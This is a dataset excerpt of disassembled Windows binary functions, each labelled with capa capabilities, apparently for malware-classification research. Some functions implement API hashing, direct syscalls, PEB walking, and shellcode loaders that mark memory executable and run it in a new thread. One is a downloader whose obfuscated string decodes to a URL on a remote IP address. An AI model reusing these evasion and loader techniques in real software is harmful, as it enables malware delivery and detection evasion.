joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140133da0
Capabilities:
Encode data using xor

Disassembly:
out dx, eax
test al, 0x21
jnp 0x140133d60
invalid
mul dword [rsi]
mov esp, 0x6cf07e75
invalid
imul ebp, dword [rbp + 0x35e30947], 0xffffffe5
invalid
wait
test byte [rdx], 0xf3
add dh, bl
and eax, 0xc4915938
xor dword [rdi + 0x34e3e969], ecx
cmp ebp, edi
dec dl
std
stosb byte [rdi], al
adc edx, dword [rdx]
stosd dword [rdi], eax
fdivr dword [rax - 0x186b7f3d]
push rsi
sti
test eax, 0x93966faa
mov esi, 0x54e9a70
div dword [rax]
or bh, byte [rdi]
and dword [rcx - 0x2a], ebp
out dx, eax
pop rsp
mov ebp, 0x1226c56b
xchg esi, eax
fisubr dword [rax]
sbb dh, cl
and dword [rbx - 0xeaa979d], eax
push 0x5c9cf155
push rsi
jae 0x140133d50
push 0x13
jne 0x140133d62
jne 0x140133d46
pop rdx
test edi, 0x9cfebba7
mov edi, 0xa900e567
lodsd eax, dword [rsi]
push rbp
mov dh, 0x75
movabs rax, qword [0x242c6fe31c3cd078]
cli
invalid

Function at 0x1411210b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.141121237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1411210e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1411210c7
add dl, dl
jne 0x1411210ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14112114e
xor eax, eax
add dl, dl
jne 0x1411210fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141121205
add dl, dl
jne 0x14112110e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14112111b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141121128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141121135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141121142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1411210d6
mov eax, 1
add dl, dl
jne 0x14112115e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14112116b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141121153
sub eax, ebx
mov ebx, 1
jne 0x1411211a4
mov ecx, 1
add dl, dl
jne 0x141121186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141121193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14112117b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1411210d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1411211c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1411211cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1411211b5
cmp eax, 0x7d00
jae 0x1411211f3
cmp eax, 0x500
jb 0x1411211ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1411210d6
cmp eax, 0x7f
ja 0x1411211f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1411210d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14112122a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1411210d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001000
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xe338fad6
call fcn.14000191c
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140001080
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x37853f20
call fcn.14000191c
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x1400010c0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x7c2b67ad
call fcn.14000191c
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140001100
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x20b82624
call fcn.14000191c
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x1400017a8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
movsxd r15, dword [rcx + 0x3c]
mov r9, rcx
mov rbp, rdx
mov r8d, dword [r15 + rcx + 0x88]
add r8, rcx
mov esi, dword [r8 + 0x1c]
mov r11d, dword [r8 + 0x20]
add rsi, rcx
mov r14d, dword [r8 + 0x24]
add r11, rcx
add r14, rcx
xor ecx, ecx
cmp rdx, 0x10000
jae 0x14000181c
mov r10d, dword [r8 + 0x10]
movzx edx, bp
cmp edx, r10d
jb 0x140001915
mov ecx, dword [r8 + 0x14]
add ecx, r10d
cmp edx, ecx
jae 0x140001915
sub edx, r10d
mov ecx, dword [rsi + rdx*4]
jmp 0x14000185d
xor eax, eax
cmp dword [r8 + 0x18], eax
jbe 0x140001860
mov r10d, dword [r11]
mov rdx, rbp
add r10, r9
sub r10, rbp
movzx ebx, byte [rdx]
movzx edi, byte [rdx + r10]
sub ebx, edi
jne 0x140001843
inc rdx
test edi, edi
jne 0x140001830
test ebx, ebx
je 0x140001855
inc eax
add r11, 4
cmp eax, dword [r8 + 0x18]
jb 0x140001824
jmp 0x140001860
movzx ecx, word [r14 + rax*2]
mov ecx, dword [rsi + rcx*4]
add rcx, r9
cmp rcx, r8
jb 0x1400018f9
mov eax, dword [r15 + r9 + 0x8c]
lea rdx, [rax + rax*4]
lea rax, [r8 + rdx*8]
cmp rcx, rax
jae 0x1400018f9
call sub.api_ms_win_crt_string_l1_1_0.dll__strdup
mov rbx, rax
test rax, rax
je 0x140001915
mov edx, 0x2e
mov rcx, rax
call fcn.140001f08
mov rdi, rax
mov byte [rax], 0
mov rax, qword [0x140007068]
test rax, rax
jne 0x1400018d5
lea rcx, str.KERNEL32.DLL
call fcn.140001744
mov rcx, rax
lea rdx, [0x140004430]
call fcn.1400017a8
mov qword [0x140007068], rax
test rax, rax
je 0x140001915
mov rcx, rbx
call rax
mov rcx, rbx
mov rsi, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
test rsi, rsi
je 0x140001915
lea rdx, [rdi + 1]
mov rcx, rsi
call fcn.1400017a8
mov rcx, rax
mov rax, rcx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
xor eax, eax
jmp 0x1400018fc

Function at 0x140001960
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
mov r8, rcx
mov eax, 0x479a4d5e
cmp byte [rcx], r9b
je 0x14000198a
movzx ecx, word [rcx]
mov edx, eax
ror edx, 8
inc r9d
add edx, ecx
mov ecx, r9d
add rcx, r8
xor eax, edx
cmp byte [rcx], 0
jne 0x140001970
ret
Function at 0x14000198c
Capabilities:
Access peb ldr_data
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
cmp dword [0x1400077c0], 0
jne 0x140001b2a
mov rax, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x10]
mov rax, qword [r8 + 0x30]
test rax, rax
je 0x140001b4c
mov r9d, 0x20202020
mov rdi, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + rdi + 0x88]
test ecx, ecx
je 0x140001a0f
lea rdx, [rdi + rcx]
mov ecx, dword [rdx + 0xc]
mov eax, dword [rcx + rdi]
or eax, r9d
cmp eax, 0x6c64746e
jne 0x140001a0f
mov eax, dword [rcx + rdi + 4]
or eax, r9d
cmp eax, 0x6c642e6c
je 0x140001a1b
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
test rax, rax
jne 0x1400019db
test rdx, rdx
je 0x140001b4c
mov r15d, dword [rdx + 0x1c]
mov r14d, dword [rdx + 0x20]
add r15, rdi
mov r12d, dword [rdx + 0x24]
add r14, rdi
mov ebp, dword [rdx + 0x18]
add r12, rdi
xor esi, esi
lea eax, [rbp - 1]
mov ecx, dword [r14 + rax*4]
mov ebp, eax
add rcx, rdi
mov r13d, eax
mov eax, 0x775a
cmp word [rcx], ax
jne 0x140001a93
mov ebx, esi
add rbx, rbx
call fcn.140001960
lea rcx, [0x1400077c0]
inc esi
mov dword [rcx + rbx*8 + 8], eax
movzx eax, word [r12 + r13*2]
lea r13, [0x1400077c0]
mov eax, dword [r15 + rax*4]
and qword [r13 + rbx*8 + 0x10], 0
mov dword [r13 + rbx*8 + 0xc], eax
cmp esi, 0x1f4
je 0x140001a9e
jmp 0x140001a9a
lea r13, [0x1400077c0]
test ebp, ebp
jne 0x140001a3e
xor r8d, r8d
mov dword [0x1400077c0], esi
lea eax, [rsi - 1]
test eax, eax
je 0x140001b2a
mov eax, esi
xor ecx, ecx
sub eax, r8d
cmp eax, 1
je 0x140001b1f
lea r11d, [rcx + 1]
mov r10d, ecx
add r10, r10
mov r9d, r11d
add r9, r9
mov edi, dword [r13 + r10*8 + 0xc]
mov ebx, dword [r13 + r9*8 + 0xc]
cmp edi, ebx
jbe 0x140001b10
mov eax, dword [r13 + r9*8 + 8]
mov edx, dword [r13 + r10*8 + 8]
mov rcx, qword [r13 + r10*8 + 0x10]
mov dword [r13 + r10*8 + 8], eax
mov rax, qword [r13 + r9*8 + 0x10]
mov qword [r13 + r10*8 + 0x10], rax
mov dword [r13 + r10*8 + 0xc], ebx
mov dword [r13 + r9*8 + 8], edx
mov dword [r13 + r9*8 + 0xc], edi
mov qword [r13 + r9*8 + 0x10], rcx
mov esi, dword [0x1400077c0]
mov eax, esi
mov ecx, r11d
sub eax, r8d
dec eax
cmp r11d, eax
jb 0x140001aba
inc r8d
lea eax, [rsi - 1]
cmp r8d, eax
jb 0x140001aae
mov eax, 1
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor eax, eax
jmp 0x140001b2f

Function at 0x14000286c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400028b6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400028b6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400028b6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400028b6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400028b6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400028b8
xor al, al
add rsp, 0x28
ret
Function at 0x141016058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1410161df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141016089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14101606f
add dl, dl
jne 0x141016096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1410160f6
xor eax, eax
add dl, dl
jne 0x1410160a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1410161ad
add dl, dl
jne 0x1410160b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1410160c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1410160d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1410160dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1410160ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14101607e
mov eax, 1
add dl, dl
jne 0x141016106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141016113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1410160fb
sub eax, ebx
mov ebx, 1
jne 0x14101614c
mov ecx, 1
add dl, dl
jne 0x14101612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14101613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141016123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14101607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141016168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141016175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14101615d
cmp eax, 0x7d00
jae 0x14101619b
cmp eax, 0x500
jb 0x141016196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14101607e
cmp eax, 0x7f
ja 0x14101619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14101607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1410161d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14101607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400111f9
Capabilities:
Terminate process

Disassembly:
jmp 0x140012d80
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011271
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011850
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001c040]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x1400220f2]
call fcn.14001137a
mov ecx, 0xa
call qword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov qword [rbp + 0x48], rax
mov r8d, 0xa
lea rdx, str.shellcode
mov rcx, qword [rbp + 0x48]
call fcn.1400111b8
lea r9, [rbp + 0x64]
mov r8d, 0x40
mov edx, 0xa
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rbp + 4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x48]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x28], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140019c50]
call fcn.140011311
mov eax, edi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.1400111b3
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x14001127b
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400140d0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400140f0
xor al, al
jmp 0x140014171
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014103
xor al, al
jmp 0x140014171
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001412d
xor al, al
jmp 0x140014171
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014141
xor al, al
jmp 0x140014171
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014153
xor al, al
jmp 0x140014171
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001416f
xor al, al
jmp 0x140014171
mov al, 1
add rsp, 0x38
ret
Function at 0x140001000
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
movsxd rax, dword [rcx + 0x3c]
xor r8d, r8d
mov r10, rcx
mov edx, dword [rax + rcx + 0x88]
add rdx, rcx
mov r11d, dword [rdx + 0x1c]
mov ebx, dword [rdx + 0x20]
mov ebp, dword [rdx + 0x24]
mov r9d, dword [rdx + 0x18]
add r11, rcx
add rbx, rcx
add rbp, rcx
test r9, r9
je 0x140001076
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movzx eax, word [rbp + r8*2]
mov esi, dword [rbx + r8*4]
lea rdi, [0x1400094f0]
mov eax, dword [r11 + rax*4]
add rsi, r10
mov ecx, 0xf
add rax, r10
repe cmpsb byte [rsi], byte [rdi]
je 0x14000106c
inc r8
cmp r8, r9
jb 0x140001040
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x20]
pop rbp
ret

Function at 0x1400012d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push r13
lea rbp, [rsp - 0x4f]
sub rsp, 0x88
mov rax, qword [0x14000b050]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor r13d, r13d
lea r8, [rbp - 9]
lea rdx, [rbp - 1]
lea rcx, [rbp + 0xf]
mov dword [rbp + 0xf], 0x740068
mov dword [rbp + 0x13], 0x700074
mov dword [rbp + 0x17], 0x2f003a
mov dword [rbp + 0x1b], 0x38002f
mov dword [rbp + 0x1f], 0x31002e
mov dword [rbp + 0x23], 0x380033
mov dword [rbp + 0x27], 0x31002e
mov dword [rbp + 0x2b], 0x2e0031
mov dword [rbp + 0x2f], 0x370031
mov dword [rbp + 0x33], 0x2f0036
mov dword [rbp + 0x37], 0x610074
mov dword [rbp + 0x3b], 0x74
mov qword [rbp - 1], r13
mov dword [rbp - 9], r13d
call fcn.140001080
test al, al
jne 0x140001385
lea r9d, [r13 + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [r13 + 1]
jmp 0x140001461
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0x80], r12
call fcn.140001480
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
je 0x1400013ce
nop word [rax + rax]
mov rax, qword [rax]
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
jne 0x1400013c0
mov rdi, qword [rax + 0x10]
mov rcx, rdi
call section..text
lea rdx, str.VirtualProtect
mov rcx, rdi
mov rbx, rax
call rbx
lea rdx, str.CreateThread
mov rcx, rdi
mov rsi, rax
call rbx
lea rdx, str.WaitForSingleObject
mov rcx, rdi
mov r12, rax
call rbx
mov rbx, qword [rbp - 1]
mov edx, 8
lea r8d, [rdx + 0x38]
lea r9, [rbp + 7]
mov rcx, rbx
mov rdi, rax
call rsi
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call r12
mov rcx, rax
or edx, 0xffffffff
call rdi
mov r12, qword [rsp + 0x80]
mov rdi, qword [rsp + 0xb0]
mov rsi, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xa0]
xor eax, eax
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.1400014b0
add rsp, 0x88
pop r13
pop rbp
ret

Function at 0x140001480
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret
Function at 0x140001843
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000b050]
jne 0x1400014ca
rol rcx, 0x10
test cx, 0xffff
jne 0x1400014c6
repz ret
ror rcx, 0x10
jmp 0x14000179c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14000c020]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14000c118]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001821
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14000c020]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140001843
mov rax, qword [rsp + 0x88]
mov qword [0x14000c118], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14000c0b8], rax
mov rax, qword [0x14000c118]
mov qword [0x14000bf90], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14000c0a0], rax
mov dword [0x14000bf80], 0xc0000409
mov dword [0x14000bf84], 1
mov rax, qword [0x14000b050]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000b058]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14000c018], eax
mov ecx, 1
call fcn.1400034bc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140007268]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14000c018], 0
jne 0x1400018ca
mov ecx, 1
call fcn.1400034bc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140002180
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140001ff0
Function at 0x140004538
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14000b050]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140003064
xor ebx, ebx
cmp qword [0x14000d028], rbx
mov rdi, rax
jne 0x14000464b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140004722
lea rdx, [0x140007f58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140004722
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14000d028], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14000d030], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14000d038], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14000d048], rax
test rax, rax
je 0x140004642
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14000d040], rax
jmp 0x140004652
mov rax, qword [0x14000d040]
jmp 0x140004659
mov rax, qword [0x14000d040]
mov r11, qword [0x14000d048]
cmp rax, rdi
je 0x1400046c0
cmp r11, rdi
je 0x1400046c0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14000d048]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400046c0
test rax, rax
je 0x1400046c0
call rsi
test rax, rax
je 0x1400046ba
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400046ba
test byte [rsp + 0x40], 1
jne 0x1400046c0
bts ebp, 0x15
jmp 0x140004700
mov rcx, qword [0x14000d030]
cmp rcx, rdi
je 0x140004700
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140004700
call rax
mov rbx, rax
test rax, rax
je 0x140004700
mov rcx, qword [0x14000d038]
cmp rcx, rdi
je 0x140004700
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140004700
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14000d028]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140004722
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140004724
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400014b0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret